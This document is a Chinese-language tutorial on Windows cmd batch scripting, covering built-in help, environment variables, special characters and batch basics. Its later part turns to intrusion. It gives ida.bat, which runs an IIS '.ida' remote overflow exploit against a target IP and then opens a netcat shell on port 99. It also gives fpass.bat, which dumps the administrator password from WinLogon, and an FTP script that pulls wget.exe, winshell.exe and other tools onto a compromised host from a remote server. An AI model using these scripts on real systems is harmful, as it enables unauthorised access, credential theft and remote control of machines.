cmd 指令加強解說...
文章結構
1. 所有內置命令的幫助資訊
2. 環境變數的概念
3. 內置的特殊符號(實際使用中間注意避開)
4. 簡單批次檔概念
5. 附件1 tmp.txt
6. 附件2 sample.bat
######################################################################
1. 所有內置命令的幫助資訊
######################################################################
ver
cmd /?
set /?
rem /?
if /?
echo /?
goto /?
for /?
shift /?
call /?
其他需要的常用命令
type /?
find /?
findstr /?
copy /?
______________________________________________________________________
下面將所有上面的幫助輸出到一個檔案
echo ver >tmp.txt
ver >>tmp.txt
echo cmd /? >>tmp.txt
cmd /? >>tmp.txt
echo rem /? >>tmp.txt
rem /? >>tmp.txt
echo if /? >>tmp.txt
if /? >>tmp.txt
echo goto /? >>tmp.txt
goto /? >>tmp.txt
echo for /? >>tmp.txt
for /? >>tmp.txt
echo shift /? >>tmp.txt
shift /? >>tmp.txt
echo call /? >>tmp.txt
call /? >>tmp.txt
echo type /? >>tmp.txt
type /? >>tmp.txt
echo find /? >>tmp.txt
find /? >>tmp.txt
echo findstr /? >>tmp.txt
findstr /? >>tmp.txt
echo copy /? >>tmp.txt
copy /? >>tmp.txt
type tmp.txt
______________________________________________________
######################################################################
2. 環境變數的概念
######################################################################
_____________________________________________________________________________
C:\Program Files>set
ALLUSERSPROFILE=C:\Documents and Settings\All Users
CommonProgramFiles=C:\Program Files\Common Files
COMPUTERNAME=FIRST
ComSpec=C:\WINNT\system32\cmd.exe
NUMBER_OF_PROCESSORS=1
OS=Windows_NT
Os2LibPath=C:\WINNT\system32\os2\dll;
Path=C:\WINNT\system32;C:\WINNT;C:\WINNT\system32\WBEM
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Family 6 Model 6 Stepping 5, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=0605
ProgramFiles=C:\Program Files
PROMPT=$P$G
SystemDrive=C:
SystemRoot=C:\WINNT
TEMP=C:\WINNT\TEMP
TMP=C:\WINNT\TEMP
USERPROFILE=C:\Documents and Settings\Default User
windir=C:\WINNT
_____________________________________________________________________________
path: 表示可執行程式的搜索路徑. 我的建議是你把你的程式copy 到
%windir%\system32\. 這個目錄裏面. 一般就可以自動搜索到.
語法: copy mychenxu.exe %windir%\system32\.
使用點(.) 便於一目了然
對環境變數的引用使用(英文模式,半形)雙引號
%windir% 變數
%%windir%% 二次變數引用.
我們常用的還有
%temp% 暫存檔案目錄
%windir% 系統目錄
%errorlevel% 退出代碼
輸出檔案到暫存檔案目錄裏面.這樣便於當前目錄整潔.
對有空格的參數. 你應該學會使用雙引號("") 來表示比如對porgram file資料夾操作
C:\>dir p*
C:\ 的目錄
2000-09-02 11:47 2,164 PDOS.DEF
1999-01-03 00:47 Program Files
1 個檔案 2,164 位元組
1 個目錄 1,505,997,824 可用位元組
C:\>cd pro*
C:\Program Files>
C:\>
C:\>cd "Program Files"
C:\Program Files>
######################################################################
3. 內置的特殊符號(實際使用中間注意避開)
######################################################################
微軟裏面內置了下列字元不能夠在創建的檔案名中間使用
con nul aux \ / │ ││ && ^ > < *
You can use most characters as variable values, including white space. If you use the special characters <, >, │, &, or ^, you must precede them with the escape character (^) or quotation marks. If you use quotation marks, they are included as part of the value because everything following the equal sign is taken as the value. Consider the following examples:
(大意: 要麼你使用^作為前導字元表示.或者就只有使用雙引號""了)
To create the variable value new&name, type:
set varname=new^&name
To create the variable value "new&name", type:
set varname="new&name"
The ampersand (&), pipe (│), and parentheses ( ) are special characters that must be preceded by the escape character (^) or quotation marks when you pass them as arguments.
find "Pacific Rim" < trade.txt > nwtrade.txt
IF EXIST filename. (del filename.) ELSE echo filename. missing
> 創建一個檔案
>> 追加到一個檔案後面
@ 首碼字元.表示執行時本行在cmd裏面不顯示, 可以使用 echo off關閉顯示
^ 對特殊符號( > < &)的前導字元. 第一個只是顯示aaa 第二個輸出檔案bbb
echo 123456 ^> aaa
echo 1231231 > bbb
() 包含命令
(echo aa & echo bb)
, 和空格一樣的缺省分隔符號號.
; 注釋,表示後面為注釋
: 標號作用
│ 管道操作
& Usage:第一條命令 & 第二條命令 [& 第三條命令...]
用這種方法可以同時執行多條命令,而不管命令是否執行成功
dir c:\*.exe & dir d:\*.exe & dir e:\*.exe
&& Usage:第一條命令 && 第二條命令 [&& 第三條命令...]
當碰到執行出錯的命令後將不執行後面的命令,如果一直沒有出錯則一直執行完所有命令;
││ Usage:第一條命令 ││ 第二條命令 [││ 第三條命令...]
當碰到執行正確的命令後將不執行後面的命令,如果沒有出現正確的命令則一直執行完所有命令;
常用語法格式
IF [NOT] ERRORLEVEL number command para1 para2
IF [NOT] string1==string2 command para1 para2
IF [NOT] EXIST filename command para1 para2
IF EXIST filename command para1 para2
IF NOT EXIST filename command para1 para2
IF "%1"=="" goto END
IF "%1"=="net" goto NET
IF NOT "%2"=="net" goto OTHER
IF ERRORLEVEL 1 command para1 para2
IF NOT ERRORLEVEL 1 command para1 para2
FOR /L %%i IN (start,step,end) DO command [command-parameters] %%i
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do echo %i %j %k
按照字母順序 ijklmnopq依次取參數.
eol=c - 指一個行注釋字元的結尾(就一個)
skip=n - 指在檔案開始時忽略的行數。
delims=xxx - 指分隔符號集。這個替換了空格和跳格鍵的默認分隔符號集。
######################################################################
4. 簡單批次檔概念
######################################################################
echo This is test > a.txt
type a.txt
echo This is test 11111 >> a.txt
type a.txt
echo This is test 22222 > a.txt
type a.txt
第二個echo是追加
第三個echo將清空a.txt 重新創建 a.txt
netstat -n │ find "3389"
這個將要列出所有連接3389的用戶的ip.
________________test.bat___________________________________________________
@echo please care
echo plese care 1111
echo plese care 2222
echo plese care 3333
@echo please care
@echo plese care 1111
@echo plese care 2222
@echo plese care 3333
rem 不顯示注釋語句,本行顯示
@rem 不顯示注釋語句,本行不顯示
@if exist %windir%\system32\find.exe (echo Find find.exe !!!) else (echo ERROR: Not find find.exe)
@if exist %windir%\system32\fina.exe (echo Find fina.exe !!!) else (echo ERROR: Not find fina.exe)
___________________________________________________________________________
下面我們以具體的一個idahack程式就是ida遠端溢出為例子.應該是很簡單的.
___________________ida.bat_________________________________________________
@rem ver 1.0
@if NOT exist %windir%\system32\idahack.exe echo "ERROR: dont find idahack.exe"
@if NOT exist %windir%\system32\nc.exe echo "ERROR: dont find nc.exe"
@if "%1" =="" goto USAGE
@if NOT "%2" =="" goto SP2
tart
@echo Now start ...
@ping %1
@echo chinese win2k:1 sp1:2 sp2:3
idahack.exe %1 80 1 99 >%temp%\_tmp
@echo "prog exit code [%errorlevel%] idahack.exe"
@type %temp%\_tmp
@find "good luck" %temp%\_tmp
@echo "prog exit code [%errorlevel%] find [goog luck]"
@if NOT errorlevel 1 nc.exe %1 99
@goto END
P2
@idahack.exe %1 80 %2 99 %temp%\_tmp
@type %temp%\_tmp
@find "good luck" %temp%\_tmp
@if NOT errorlevel 1 nc.exe %1 99
@goto END
:USAGE
@echo Example: ida.bat IP
@echo Example: ida.bat IP (2,3)
:END
_____________________ida.bat__END_________________________________
下面我們再來第二個檔案.就是得到administrator的口令.
大多數人說得不到.其實是自己的沒有輸入正確的資訊.
___________________________fpass.bat____________________________________________
@rem ver 1.0
@if NOT exist %windir%\system32\findpass.exe echo "ERROR: dont find findpass.exe"
@if NOT exist %windir%\system32\pulist.exe echo "ERROR: dont find pulist.exe"
@echo start....
@echo ____________________________________
@if "%1"=="" goto USAGE
@findpass.exe %1 %2 %3 >> %temp%\_findpass.txt
@echo "prog exit code [%errorlevel%] findpass.exe"
@type %temp%\_findpass.txt
@echo ________________________________Here__pass★★★★★★★★
@ipconfig /all >>%temp%\_findpass.txt
@goto END
:USAGE
@pulist.exe >%temp%\_pass.txt
@findstr.exe /i "WINLOGON explorer internat" %temp%\_pass.txt
@echo "Example: fpass.bat %1 %2 %3 %4 !!!"
@echo "Usage: findpass.exe DomainName UserName PID-of-WinLogon"
:END
@echo " fpass.bat %COMPUTERNAME% %USERNAME% administrator "
@echo " fpass.bat end [%errorlevel%] !"
_________________fpass.bat___END___________________________________________________________
還有一個就是已經通過telnet登陸了一個遠端主機.怎樣上傳文件(win)
依次在視窗輸入下面的東西. 當然了也可以全部拷貝.Ctrl+V過去. 然後就等待吧!!
echo open 210.64.x.4 3396>w
echo read>>w
echo read>>w
echo cd winnt>>w
echo binary>>w
echo pwd >>w
echo get wget.exe >>w
echo get winshell.exe >>w
echo get any.exe >>w
echo quit >>w
ftp -s:w